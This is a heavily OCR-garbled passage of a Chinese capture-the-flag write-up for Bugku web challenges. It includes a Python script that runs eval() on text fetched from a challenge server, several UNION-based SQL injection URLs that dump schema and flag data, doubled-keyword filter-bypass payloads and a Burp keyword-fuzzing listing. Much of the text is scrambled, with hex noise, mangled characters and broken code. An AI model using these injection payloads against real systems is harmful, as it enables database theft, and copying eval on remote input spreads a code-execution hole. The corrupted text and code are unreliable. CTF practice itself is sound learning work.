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292CD4FBB47786C1BAEQO370627FC1600353990636EA70C00356287C273F7EA1693EA9AF46C1889A5B4515F006F14D10D539C21F24D3442E
1139ACEA8F58A1FO86A3DFC43EA9AF54D34B1A593619042D3B006F 1600DE8C26F843549F08BD5AF84191302C8696A634C2C01BD354ED7445
EACOA25FCB73C89A4AF56BE49E25A682D6E4B580E4F8037A00DESC26F843549F08BD5AF84191302C8696A634C2C0069AA767C22F564D10E0
97C273C89A4AF56BE1250EBO513416B1A9DDO6C800350EC7800D184DFO86A93E117AB5F0832260590D2D4C6985800D354ECF845EAC9A273C
7184DFO86A93E117AB5F0832260590D2D4C8985800DE7B769A4AF564D12FES58D52FF117AB5F24CD2D4C5A410B22F62F59261A73B06C71893
DDOCBD59344BF9631865EAD7C937388C7E3F1FE48EOFCFDFF66FOFF3F3FCFF3FC7E49E292EOB20020D9B5E6364AA2BAEEDC24B1C6CCDD9D3
DOD1FFFF27430E491B76D19DED5E7854414449031A000066A8725C00000006080001000000010000524448490D000000OA1A0AODA74E5089
strl = re.sub(r"(?<=\w) (?=(?:\w\w)+$)"," ",strl)

listl = stril.split()

listl = list(reversed(listl))

strl = " ".join(listl)

print(strl)

SR J5 B 74 B BUHXD F R N B R — A TR, 1355 flag
web?2

1R B 5B A 145 FH Python il 4 3k g
i i A%

import requests
import re
url = "http://123.206.31.85:10002/"

res = requests.get(url)

print(res.text)

cookies = res.cookies|"PHPSESSID"]

test = res.content.decode().split("<br/>")[1].split("</p>")[0] # F/FZE | EHH&

#test2 = re.split("<br/>\n(.*?)</p>\n",res.text)[1]

print(test)

result = eval(test)

print(result)

resl = requests.post(url,cookies={"PHPSESSID":"{}".format(cookies)},data={"result":"{}".format(result)})
print(resl.content.decode())

B R ERE), (EMRRERlag, BWitEER, HEERH
web5

X R SqEN
R Mpayload1

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(table_name) from
information_schema.tables where table_schema="'web5'),3



Bugku BE4H

+m | #EEs

Delete

Post -- web5

flag,posts,users

at3

payload2:

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(column_name) fro

m information_schema.columns where table_name='flag'),3

Bugku BE%&

+m | #EEs

Delete

Post -- web5

flag

at3

payload3:

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(flag) from flag

3



Bugku &8

+m | FEBS

Delete

Post -- web5

=%

flag{320dbb1c03cdaaf29d16f9d653c88bchb}

at 3

web 18

SQNEA KRR H
WY EELE, A1 —+FEE, XEHRESSHAE, REWX 1 or 1=1 —+FHRKAEE, NixLiLyE T or HbrupsuithEag
MR IR 755

ﬁ Attack Save Columns
ﬂj Results I Target l Positions l Payloads l Options l
|Fiﬂer' Showing all items 7| —
iong
. i.uyJL ;Jmm e o F’“ﬂ' E—
0 200 O O 3246 [
e 1 union 200 O O 3246
&
3 or 200 O O 3246
2 and 200 O O 3246
5 sleep 200 O O 3246 E
N il %20 200 O O 3246
ﬁ 10 - 200 U [] 3246
iNd
, 9 select 200 O O 3246
2 13 ! 200 J J 3246
fl 16 %23 200 O O 3246
38 / 200 J J 3246
49 200 O O 3246
4 | 200 L] L] 3213
6 benchmark 200 O O 3213
8 order 200 O O 3213
12 ) 200 O O 3213
1 ( 200 O O 3213
15 # 200 ] ] 3213 L
14 " 200N ] ] 3213 5
Request | Response
Raw | Params I Headers | Hex
AT Ml e Al Al O T o D LITTRA A =

1255
payloads:

1 ' oorrder by 4 --+



HI %43
183K payloads:

http://123.206.31.85:10018/1ist.php?id=0"' ununionion seselectlect 1,group_concat(table_name),3 from infoorrmatio
n_schema.tables where table_schema=database() --+

187 B payloads:

http://123.206.31.85:10018/1ist.php?id=0"' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmati
on_schema.columns where table_name="flag" --+

1B H payloads:

http://123.206.31.85:10018/1ist.php?id=0" ununionion seselectlect 1,group_concat(flag),3 from flag --+

web25

gui zhi dao zhe shi sha

| | get flag!
xiazai

BRIV LKA, BEMA R, BEH2BE, SHEANTHREER RHEERIE N TREEZRART TRAT EFR
(%]

{a href=/2/ziidan. txt download="zidian. txt”> F#<{/a>

REHERR, RWALUEJUTFHFEH

asdhjk
dakihkjwg
adkjhsdk
fkdjknbv
dkajshdlj
hisinb
sdalkj
flagf
sfksjhuge
dsalkjlkgjwe
hsinb



TREAEFABET, 3—THX

Error Log: D: T 25 )t 1T 4 earch-master

Target: http://123

[18:24:20] Starting:

iZE Wi T H\dirsearch-master>g

hitps://blog.csdn.net/qg_45C

A —4 shell.php

BATENKIAE —NMaAE, BERZABEKBALE, — MM N RIRIE— 2 IEFH K RES Elflag
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